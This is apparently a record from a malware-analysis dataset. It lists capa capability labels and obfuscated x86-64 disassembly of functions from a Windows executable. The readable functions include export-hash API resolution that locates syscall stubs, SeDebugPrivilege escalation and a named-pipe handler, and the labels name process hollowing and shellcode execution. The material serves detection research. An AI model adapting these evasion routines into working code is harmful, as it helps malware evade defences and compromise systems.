joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b5090
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
add qword [rsp], 0xeccc
push r13
movabs r13, 0x1d085b2400912a08
shl ebx, 1
shr rbx, 0xb4
jne 0x1400cad00
mov rsi, qword [rsp + 8]
mov rsi, qword [rsi + rbx]
js fcn.14007b5ee
mov qword [rsp + 8], r13
test rbx, 0xffffffffc02e70be
push 0x62078021
mov bx, r13w
jns 0x140007fec

Function at 0x1400b50df
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
push r9
push 0x7da6561e
pushfq
mov r9, qword [rsp + 8]
mov word [rsp + r9 - 0x7da65616], 0x4600
lea r9, [r9 + r9*2 + 0x42ae6a1c]

Function at 0x1400b584a
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
mov qword [rsp + 0x28], rdi
shr qword [rsp + 0x18], 0x7b
lea rdx, [rdx + 0x3c86debc]
sub word [rsp + rdi - 0x7fffffe8], 0x4528
jge 0x14009d4cc
neg byte [rsp + 0x28]
not r12w
push rsi
lea rdi, [rdi*2 + 0x14bcd382]
neg byte [rsp + 0x20]
xchg qword [rsp + 0x50], rdx
mov rdi, qword [rsp + 0x10]
call fcn.14008ec14
jne 0x14009ab33

Function at 0x1400b5850
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
call 0x14006442b
push r13
push rbx
and rsi, r10
push rdi
mov qword [rsp + 0x58], rax
jg 0x14005d687

Function at 0x1400bb347
Capabilities:
Authenticate hmac

Disassembly:
pop rax
push rsi
pushfq
movabs rsi, 0x6a2e560cfd261a89
sub rsi, rsi
js 0x14005ab8d
xchg qword [rsp + rsi + 0x10], rax
push r10
movabs r10, 0x4693ee26eabf8533
neg rsi
add r10b, r10b
add r10d, 0x6aa678a5
or r10b, 0x99
mov rsi, qword [rsp + r10 - 0x5565fe8b]
mov qword [rsp + 0x10], rax
jne 0x1400a251f

Function at 0x1400bc076
Capabilities:
Authenticate hmac

Disassembly:
push r12
movabs r12, 0x2835f2b9ea290c89
pushfq
shl r12b, 0xc1
add qword [rsp + 0x10], 0xfffffffffffef84a
add qword [rsp + 0x18], 0xffffffffbff8a33f
call fcn.140056b22

Function at 0x1400bc09e
Capabilities:
Authenticate hmac

Disassembly:
and di, word [rsp + 0xc]
and di, r8w
push r8
add dword [rsp + rdi*8 + 0x64390], edi
mov qword [rsp + rdi*2 + 0x19130], rsi
sub rdi, 0xffffffffbb88900d
movzx rdi, dil
mov dil, 0xa1
shr r8d, 0xf
lea r8, [r8 + r8 - 0x6a5010e2]
test word [rsp + r8 + 0x6a4ce620], r8w
add qword [rsp + 0x28], 0xfffffffffffb85f1
and qword [rsp + rdi*2 - 0x142], r8
mov rsi, r8
add qword [rsp + rdi - 0x81], 0x92ee0
sub byte [rsp + r8 + 0x6a4ce61e], 0xa1
mov rsi, qword [rsp + rdi - 0x79]
mov rsi, qword [rsi + r8 + 0x6a4ce60e]
neg dword [rsp + rdi - 0x91]
bswap r8d
jne 0x1400dcabd

Function at 0x1400bc1b7
Capabilities:
Authenticate hmac

Disassembly:
xchg qword [rsp + r12 + 0xc63f480], rbx
mov r12, qword [rsp + r12*2 + 0x18c7e8c8]
call fcn.140089c50
Function at 0x1400bc1cc
Capabilities:
Authenticate hmac

Disassembly:
lea rsi, [rsi + 1]
movabs rcx, 0xfa1a80aa3295729e
movabs r11, 0xd0813ca7452c0d92
xor cx, 0x6020
neg r11b
sets r11b
lea rcx, [rcx + r11*2 + 0x3b96c29]
mov qword [rsp + 0x28], rsi
push r12
neg r11
call fcn.1400e2199
sub ch, byte [rcx + 0x1d]
rcl byte [0x189c29894], 0x5a
push rdi
movabs byte [0xd9fd8ecb6fdb8227], al
jo 0x14005b8a2
jmp 0x14dee467f
leave
invalid
jb 0x14005b84b
mov r8, r14
xor r14d, 0x640b6110
cmp r14b, 0x17
jne 0x1400a773d
push rbp
push r14
movabs r14, 0x7d3a11949cb50dac
pushfq
or r14w, r14w
not r14
mov r14w, 0x253f
movzx r14, r14w
mov rbp, qword [rsp + r14 - 0x2527]
push rdx
shl r14d, 0x1a
bswap r14d
lea rbp, [rbp + r14 - 0xfb]
movabs rdx, 0x580033b1893fc4bb
test dl, 0x17
setl dl
shl dl, 0x8f
test dx, 0xe0b9
setb dl
mov qword [rsp + r14 - 0xdc], rbp
push 0xb332219
add word [rsp + r14*4 - 0x3f0], dx
test rdx, rdx
mov word [rsp], r14w
push rdx
call fcn.1400e0dd5
mov rax, qword [rsp + 0x18]
mov rax, qword [rax]
xor r8d, 0xa72f243e
xor r8d, 0xe19b660c
add r8w, 0x460f
or r8, r8
call fcn.140059111
jae 0x1400bd118
neg rcx
call 0x1400a1318
ja 0x1400d3054
out dx, al
add eax, dword [rsi - 0x62]
or bl, bh
sbb al, byte [rbx - 0x2b110549]
and dword [rcx], eax
and eax, 0x18bccdd9
invalid
shr r11b, 0x51
movabs rdx, 0x16075c98671f6927
jne 0x14009bbde
add qword [rsp], 0xfffffffffffffe3f
call fcn.14007f579
mov ecx, 0xba899bbc
pop rsi
cmpsd dword [rsi], dword [rdi]
mov edi, 0x6f9a4eca
invalid
jo 0x1400aba22
movabs rbp, 0xde18199dfe3c3aa3
lea rdx, [rbp*2 - 0x52d61259]
bswap r11
movzx dx, bpl
xchg qword [rsp + 0x40], rax
mov r11, qword [rsp + 0x30]
add rbp, rbp
je 0x1400a1313
setae dl
jae 0x14007a994
lea rdx, [rbp + rdx*4 - 0x6be4f87c]

Function at 0x1400bd356
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
and r10b, 0x23
mov r10b, 0xbf
xor ecx, 0x31a1ce98
shr rcx, cl
mov rcx, qword [rsp + rcx*2 - 0x52]
mov rcx, qword [rcx + rdx + 0x4e00993a]
mov qword [rsp + 0x10], rdx
jb 0x1400bf9e0
invalid
mov edi, 0x67b3ef7b
pop rdi
sub ah, dh
cdq
xor al, 0x60
or eax, 0x490d6838
cdq
jl 0x1400bd37c
adc eax, dword [rax]
xor eax, 0xd96024b0
lodsd eax, dword [rsi]
xchg esp, eax
xlatb
rcr dword [rdx + 0x3fcfeb2f], cl
invalid

Function at 0x1400bf088
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
mov r8, qword [rsp + 0x20]
shr dword [rsp + 0x30], 0xdb
add byte [rsp + 0x30], 0xa9
jg 0x14009a35f
neg byte [rsp + 0x30]
shl qword [rsp + 0x30], 0xb2
push qword [rsp + 0x48]
popfq
lea rsp, [rsp + 0x58]
ret
mov rdx, qword [rsp + 0x10]
mov rdx, qword [rdx]
movabs r9, 0xf1bcf5262333f936
mov qword [rsp + 0x10], r9
movzx r9d, word [rsp + 0x14]
call fcn.1400b2d03
jle 0x1400d49b1
and ebx, 0x3e1bbba1
add ebp, ebx
add ebp, 0x598011bd
lea rcx, [rcx + rbx - 0xa08b17f]
push r11
not ebp
call fcn.14006bb33
and al, byte [rcx]
invalid
jb 0x1400ccd8e
setbe byte [rsp + 0x30]
xchg qword [rsp + 0x58], rsi
mov r12, qword [rsp + 0x50]
not r8d
js 0x140099abe
xor r8w, word [rsp + 0x36]
test r8w, 0x1486
jo 0x14008ceb0
jno 0x14006f9cd
Function at 0x1400c284e
Capabilities:
Authenticate hmac

Disassembly:
push r14
pushfq
movabs r14, 0x8220ec32e8224b31
shl r14b, 0x4c
mov rsi, qword [rsp + 0x28]
jns 0x1400862bb

Function at 0x1400c30d1
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
or r8w, word [rsp + 0x1a]
movabs r13, 0xd5377bb746a1282b
movabs r12, 0x968bc19330156984
push r12
mov r8b, byte [rsp + 7]
mov qword [rsp + 0x38], rbx
and r13, qword [rsp + 0x20]
push r10
push rdi
call fcn.1400662a2
or esp, dword [rdi + 0x23]
retf 0xf3f5
xchg qword [rsp + 0x30], rax
mov r9, qword [rsp + r9 - 0x32be4195]
call fcn.1400ae2e0
or edx, 0x8b49c416
ret 0x8d4d
add r9d, dword [rsp + 9]
lea rax, [rax + 0x62946a31]
push rbp
and ebp, ebp
test dword [rsp + 0x10], ebp
jno 0x14009b76f
and ebp, dword [rcx + 0x426297ad]
jnp 0x1400b3681
xor edx, dword es:[rsi]
push rdx
leave
jge 0x1400b35ef
invalid
push r15
rol dh, 0x17
invalid
or r15, 0xffffffffbb8bb109
test r15, 0x1e8b7515
add qword [rsp], 0x49ee4
shr r15w, 0x1e
add qword [rsp + r15 + 0x44610008], 0xc2f5c
add dword [rsp + rdi + 0x44610008], 0xc2f5c
movabs rsi, 0xee3b028a78167c08
or r15b, 0xb7
test sil, 0x27
not r15w
ja 0x1400b3631
sub esi, r15d
mov rsi, qword [rsp]
mov rsi, qword [rsi + r15 + 0x446000b8]
mov qword [rsp + r15 + 0x446000b8], r15
shl qword [rsp + r15 + 0x446000b8], 0x3d
movsx r15w, byte [rsp + r15 + 0x446000bd]
movzx r15, byte [rsp + r15 + 0x44610000]
test r15d, r15d
lea rsi, [rsi + r15 - 0x2664846b]
push rbx
call fcn.14006f4b2
mov ah, 0x3e
xchg ebp, eax
jnp 0x1400c30ee
fst dword [rbx - 0x18]
pop rax
ret
cmp dword [rsp + 0x88], 0x9735b8a6
jae 0x14004be30
mov rcx, qword [rsp + 0x78]
or qword [rsp + 0x50], 0x4d0b2919
not qword [rsp + 0x50]
je 0x14008dced
test byte [rsp + 0x88], 0x35
call fcn.1400d079e
pop rcx
xor eax, 0x987d6971
jnp 0x1400c314e
hlt

Function at 0x1400c3f5b
Capabilities:
Authenticate hmac

Disassembly:
lea rax, [rax - 0x45d325f5]
push 0xffffffffaea8c300
xor word [rsp], 0xb89f
pop r10
sub r10, qword [rsp + 0x18]
push rcx
xor r12, qword [rsp + 0x20]
xchg qword [rsp + r12 + 0x60], rax
mov r9, qword [rsp + 0x30]
test bp, bp
jae 0x1400c546e

Function at 0x1400c3f91
Capabilities:
Authenticate hmac

Disassembly:
lea rbx, [rbx - 0x30fe19f2]
mov qword [rsp + 0x58], r12
or dil, byte [rsp + 0x5b]
setne r11b
xor r11d, dword [rsp + 0x59]
push rdx
push r12
not r12
lea rdi, [r9*4 + 0x35b342a5]

Function at 0x1400c4a7b
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
lea rax, [rax - 0x44f15bc1]
jne 0x1400a3f5a
not byte [rsp + 0x30]
jne fcn.14006934b
movabs rdx, 0x7d20778dbd8ad818
Function at 0x1400cada6
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
mov r12, qword [rsp + 0x18]
neg r8b
mov qword [rsp + 0x58], r15
jns 0x1400e3f81
add qword [rsp + rbp*2 + 8], 0xffffffffbff2cd2b
push r12
xchg qword [rsp + 0x68], rcx
mov r9, qword [rsp + 0x48]
shl word [rsp + r8 - 0x74005201], 0x4f
test r12, r15
setns bpl
movabs r8, 0x15b9bc15203e36b3
lea r12, [rbp + r12 - 0x38ff8c47]
xor r8, 0x59b73203
mov rbp, qword [rsp + 0x50]
not byte [rsp]
test byte [rsp + 0x2f], r15b
not dword [rsp + rsi - 0x740051a9]
not esi
not byte [rsp]
setbe byte [rsp + 0x38]
jno 0x1400a24f8

Function at 0x1400cb800
Capabilities:
Connect pipe
Read file on windows
Write file on windows
Write pipe

Disassembly:
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x140002e0f
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, 4
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002e1a
mov ecx, dword [rsp + 0x60]
call rdi
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, 1
mov byte [rsp + 0x58], 0x4d
lea rdx, [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x140002e1a
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
jmp 0x140002db1
and ebx, 0x2729ff8b
call fcn.1400b83cf
and esi, dword [rdx + 0x21]
invalid
test byte [rsp + 0x40], 0x28
mov rdx, qword [rsp + rbx - 0x448b42e2]
jo 0x140002e14
jns 0x14008a4e2
in al, dx
pop rdx
invalid

Function at 0x1400cbb2f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r14, rax
test rax, rax
je 0x1400012fc
mov r9d, dword [rbp + 0x400]
lea rax, [rbp + 0x400]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov edx, r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400012ea
mov rcx, qword [r14]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [r14]
movzx edx, byte [rax]
sub edx, r13d
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov r15d, dword [rbp + 0x400]
mov r15d, dword [rbp + 0x400]
jb 0x140001294
add qword [rsp + 0x78], 0xffffffffd2946d98
or qword [rsp + 0x78], 0xffffffffe78cc21d
xor word [rsp + 0x78], 0x562c
push qword [rsp + 0x88]
popfq
lea rsp, [rsp + 0x90]
ret
Function at 0x1400cbffd
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
or r8b, 0x85
or r12b, 0x12
mov qword [rsp + 8], rdx
call fcn.1400ba01e
sub qword [rsp + r10*2 - 0x121a6], 0xffffffffd631b0a6
bswap r10d
shl word [rsp + 0x38], 0xcb
mov rdi, qword [rsp + 0x18]
or dword [rsp + 0x38], 0x3a11719a
add word [rsp + 0x28], 0xb3a
call fcn.1400a1246
mov rax, qword [rsp + 8]
mov rax, qword [rax]
mov r10w, 0x352e
jge 0x14009f245
add qword [rsp + 8], 0xfffffffffffac87b
mov rsi, r8
mov rdx, rbp
xor sil, 9
and dx, 0xe07
mov rdx, qword [rsp + 8]
mov rdx, qword [rdx]
neg r8
mov qword [rsp + 8], r8
shl ecx, 0x1e
push r11
lea rdx, [rdx - 0x6dc52759]
shr cl, 0x93
js fcn.1400115d2
test dword [rsp + 0x11], r13d
call fcn.14008dcd4

Function at 0x1400cc0b8
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x68], rdx
push r10
je 0x1400719d7
and r8d, dword [rsp + 0x14]
sub r13, r13

Function at 0x1400cda70
Capabilities:
Set registry value

Disassembly:
lea r14, [r14 + riz - 0x4edabd7c]
bswap r14d
movzx r14d, r14w
mov r14, qword [rsp + r14 - 0x4ef8]
call fcn.1400bc6f2

Function at 0x1400cda8c
Capabilities:
Set registry value

Disassembly:
jae 0x140002524
call fcn.14007382b

Function at 0x1400d4a50
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
adc eax, 0x25735f
mov r8b, 3
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 0x23
lea rcx, [rsp + 0x70]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea rcx, str.kernel32.dll
call fcn.140002078
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x410
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002486
lea r8, [rbp + 0xc8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000247d
lea r8, [rbp + 0xb0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000247d
mov rax, qword [rbp + 0xb0]
lea r8, [rsp + 0x60]
mov rcx, qword [rbp + 0xc8]
mov r9d, 0x10
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x64], rax
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x14000247d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
jo 0x140002398
add qword [rsp + 0x28], 0xfffffffff3919a82
push qword [rsp + 0x78]
popfq
lea rsp, [rsp + 0x80]
ret
mov dword [rsp + 0x28], 0xfdb30bbc
je 0x14006b46d

Function at 0x1400d554a
Capabilities:
Acquire debug privileges
Create thread
Extract resource via kernel32 functions
Set registry value

Disassembly:
or qword [rsp + r12 + 0xc63f488], 0x4302022c
test qword [rsp + r12*2 + 0x18c7e8e0], 0xffffffffd7a7002d
call fcn.140083cf0
jns 0x1400cae0e
Function at 0x1400dc2f0
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
mov eax, ebx
jmp 0x14002c8c1
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
call fcn.1400d0087
mov al, 0x83
clc
jp 0x14002c9af
test edi, esi
invalid
mov r8, rdi
xor edx, edx
mov rcx, rsi
call fcn.140028d40
call fcn.140025c04
mov ebx, 0x22
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
mov qword [rsp + 0x20], rbp
call fcn.140025b34
cmp byte [rsp + 0x58], bpl
je 0x14002c84e
mov rax, qword [rsp + 0x50]
and dword [rax + 0xc8], 0xfffffffd
jmp 0x14002c84e
mov r9, r12
mov r12w, r9w
mov rsi, qword [rsp + 0x28]
sub r9d, 0x399c4ea4
jb 0x14002c996
push r14
movabs r14, 0x5fa14089f3970904

Function at 0x1400dd482
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
and ax, 0xc398
jle 0x1400baf27

Function at 0x1400ddcab
Capabilities:
Encode data using xor

Disassembly:
lea rsi, [rsi - 0x1d786f70]
shl dword [rsp + r14*2 - 0x4340c7f8], 0x6b
jne 0x14004e484

Function at 0x1400e0991
Capabilities:
Authenticate hmac
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
shl r11d, 0x70
jbe 0x1400659ac
setae r11b
shl r14b, 0x97
mov r11, qword [rsp + r14*8 - 0x1f88]
neg r14w
add r14w, r14w
test r14b, r14b
call fcn.14009bf33
jg 0x1400c315a

Function at 0x1400e0c6a
Capabilities:
Authenticate hmac

Disassembly:
add bl, 0x1f
mov rdx, rbx
lea rsi, [rsi + 1]
add ebx, 0xb33d6327
sub ebx, 0xa93c6b80
lea rdx, [rbx*8 - 0x587ed554]
not dx
push r12
movabs r12, 0x6e39e23096b13c01
mov qword [rsp + 0x30], rsi
push rdi
je 0x1400225ec
lea r12, [rbx + rbx*2 + 0x6a9c4ead]
mov rdi, rdx
cmp bl, 0x18
not rbx
jb 0x14006fe5c
add qword [rsp + 0x10], 0x66b56
call fcn.140087d49

Function at 0x1400e28e2
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
or ebp, 0x6628ebb0
neg bp
lea r13, [r13*2 - 0x2f698562]
nop
push r11
add qword [rsp + 0x10], 0xfffffffffffe0dce
shr r13, 0xeb
je 0x1400e2de7
jbe 0x140028cce
mov rax, qword [rsp + r13 - 0xf2be3]
mov rax, qword [rax + rbp - 0x6e7e000c]
mov r11, rbp
jae 0x1400707b9
mov qword [rsp + rbp - 0x4a56ffcc], rax
push r13
movabs r13, 0x3cb02cb0f6102016
test bp, bp
jno 0x140096b1b
jl 0x14006625c
setns bpl
not ebp
sub rbp, 0xffffffffc999400a
cmp bp, 0x5211
movsx bp, bpl
jns 0x140087d08
lahf
imul ebx, dword [rdi + 0x387816a3], 0x41
adc al, 0x39
cmp eax, 0x2c99d085
push rcx
je 0x1400e2963
pop rbp
enter 0xffffffffffffe753, 0x3f
stosd dword [rdi], eax
adc esp, dword [edx - 0x18c73d7a]
fnstcw word [rcx]
in al, 0x27
and ecx, dword [rcx - 0x64]
enter 0x382d, 0
invalid
and al, 0x82
push 0xffffffffc3a8266f
or eax, 0xdf715aa4
sbb al, 0x74
fistp word [rsp + rsi*2]
jo 0x1400e2958
cmpsd dword [rsi], dword [rdi]
ret 0x7519
neg word [rsp + 8]
jb 0x14008adb0
Function at 0x1400e4801
Capabilities:
Authenticate hmac
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push r14
add qword [rsp + 0x48], 0x58ee7
movabs rbp, 0xc3e6c2a7fad0099
lea r9, [r9 + rbp*4 + 0x5b00228a]
neg r13
push rbp
jl 0x140069b2e
add r10w, 0x699f
mov rbp, qword [rsp + r10 + 0x10c76f]
mov rbp, qword [rbp + riz]
neg cx
jl 0x1400c3fb9
sete r9b
shl r13w, cl
add rcx, 0xffffffff9002d112
movabs r14, 0x6608cb96301dbfbd
lea rbp, [rbp + r10 - 0x214ee23b]
mov qword [rsp + 0x50], r9
call fcn.14008fbe4
push rbx
mov qword [rsp + 8], 0x9a08009
lea rsp, [rsp + 8]
call fcn.1400e9a9d
call fcn.1400a227c
lodsd eax, dword [rsi]
in al, 0x4a
adc dword [rdi], 0xc543a8ff
or word [rdx - 0x3e], cx
cmp al, 0x17
jns 0x140085424
invalid
call fcn.1400dfe3d
or al, 0x11
cmp dword [rsi + rsi], ebp
pop r11
loop 0x14008547a
lahf
or cl, byte [rsi + 0x38]
imul eax, dword [rbx - 0x9f09a9], 4
xchg byte [rbx - 0xb], bh
jg 0x140085459
mov edi, 0x1f313db8
stosd dword [rdi], eax
jg 0x140085402
adc edx, ebx
cmp byte [rcx + 0x48], dh
or eax, 0x5244e7ef
add byte [rbp - 0x39], ch
invalid
mov esi, 0x903866e5
sbb byte [rbx + 0x4ae38ead], bh
add edi, dword [rax + 0x44e7a5f1]
push rdx
retf 0x8382
out dx, eax
push rsi
insb byte [rdi], dx
and ax, bp
xchg ebp, eax
scasb al, byte [rdi]
xor ecx, dword [rdx + 0x54]
retf
setle byte [rsp + 0x18]
jle 0x140071919
lea r10, [r10*2 + 0x4e88c403]
and qword [rsp + 0x20], 0xffffffffca1f5e85
mov r10, qword [rsp + 0x50]
ja 0x1400d74df
call fcn.14005dfaf
mov rdx, r11
xchg qword [rsp + 0x78], rbx
mov r12, qword [rsp + 0x28]
test dword [rsp + 0x69], r9d
lea r9, [r9*8 + 0x5a1c02a3]
jl 0x1400b5994
not r11b
add r9w, di
mov rdi, qword [rsp + rdx - 0x45ef1dee]
movsx dx, r9b
add qword [rsp + r11 - 0x45ef1eb1], 0xffffffffbff9e4e6
and dword [rsp + rdx - 0x45ef0048], 0xaeaa9334
jb fcn.140072228
and qword [rsp + r11 - 0x45ef1ec9], r11
mov rdx, qword [rsp + 8]
sub r9, r9
shl byte [rsp + r11 - 0x45ef1e61], 0xab
jns 0x140085414
test esi, r13d
call fcn.1400c93a0
push 0x58bf7013
xor r12, qword [rsp]
test byte [rsp], 0x3b
call fcn.1400af7d4
call fcn.14008b105
syscall
push r14
call fcn.14008953e
push rcx
push r13
mov qword [rsp + r10*2 + 0x2061cc], rbp
movabs rcx, 0x80ccab2009cffae
not r9
movabs r13, 0x5e082a09259cf695
jge 0x1400590ea
Function at 0x140001000
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], r8
push rbp
push rsi
push r12
push r13
push r15
sub rsp, 0x130
movsxd r9, dword [rcx + 0x3c]
lea rax, [rsp + 0x30]
add r9, rcx
mov r15, rcx
mov r13d, edx
xor esi, esi
movzx ebp, si
movups xmm0, xmmword [r9 + 0x18]
movups xmm1, xmmword [r9 + 0x28]
movups xmmword [rax], xmm0
movups xmm0, xmmword [r9 + 0x38]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [r9 + 0x48]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [r9 + 0x58]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [r9 + 0x68]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [r9 + 0x78]
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm0
sub rax, 0xffffffffffffff80
movups xmm0, xmmword [r9 + 0x88]
add r9, 0x98
movups xmmword [rax - 0x10], xmm0
movups xmm1, xmmword [r9]
movups xmm0, xmmword [r9 + 0x10]
movups xmmword [rax], xmm1
movups xmm1, xmmword [r9 + 0x20]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [r9 + 0x30]
movups xmmword [rax + 0x20], xmm1
movups xmm1, xmmword [r9 + 0x40]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [r9 + 0x50]
movups xmmword [rax + 0x40], xmm1
movups xmm1, xmmword [r9 + 0x60]
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm1
mov r12d, dword [r11 - 0xb8]
add r12, rcx
mov ecx, dword [r12 + 0x20]
mov edx, dword [r12 + 0x1c]
add rcx, r15
mov r8d, dword [r12 + 0x24]
add rdx, r15
add r8, r15
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x20], r8
cmp dword [r12 + 0x18], esi
jbe 0x1400011bd
mov qword [r11 + 0x10], rbx
mov qword [r11 - 0x30], rdi
mov qword [r11 - 0x38], r14
nop dword [rax]
movzx eax, bp
mov ebx, esi
mov edi, dword [rcx + rax*4]
movzx eax, word [r8 + rax*2]
add rdi, r15
mov rcx, rdi
mov r14d, dword [rdx + rax*4]
add r14, r15
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rdx, eax
mov rcx, rsi
test eax, eax
je 0x14000115b
nop word [rax + rax]
movsx eax, byte [rcx + rdi]
inc rcx
add eax, ebx
imul ebx, eax, 0x101
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x140001140
cmp ebx, r13d
je 0x140001190
mov rcx, qword [rsp + 0x160]
inc bp
mov rdx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x20]
movzx eax, bp
cmp eax, dword [r12 + 0x18]
jb 0x140001110
jmp 0x1400011a5
movzx ecx, si
add rcx, r14
movzx eax, byte [rcx]
cmp al, 0xf
jne 0x1400011cd
cmp byte [rcx + 1], 5
jne 0x1400011f3
xor eax, eax
mov rdi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x168]
mov r14, qword [rsp + 0x120]
add rsp, 0x130
pop r15
pop r13
pop r12
pop rsi
pop rbp
ret
cmp al, 0xc3
je 0x1400011a3
cmp al, 0x4c
jne 0x1400011f3
cmp byte [rcx + 1], 0x8b
jne 0x1400011f3
cmp byte [rcx + 2], 0xd1
jne 0x1400011f3
cmp byte [rcx + 3], 0xb8
jne 0x1400011f3
cmp byte [rcx + 6], 0
jne 0x1400011f3
cmp byte [rcx + 7], 0
je 0x1400011f8
inc si
jmp 0x140001190
movzx eax, byte [rcx + 5]
movzx ecx, byte [rcx + 4]
shl eax, 8
or eax, ecx
mov rcx, qword [rsp + 0x170]
mov dword [rcx + 4], eax
mov qword [rcx + 8], r14
jmp 0x1400011a5
Function at 0x140001941
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret

Function at 0x140002234
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000227e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000227e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000227e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000227e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000227e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002280
xor al, al
add rsp, 0x28
ret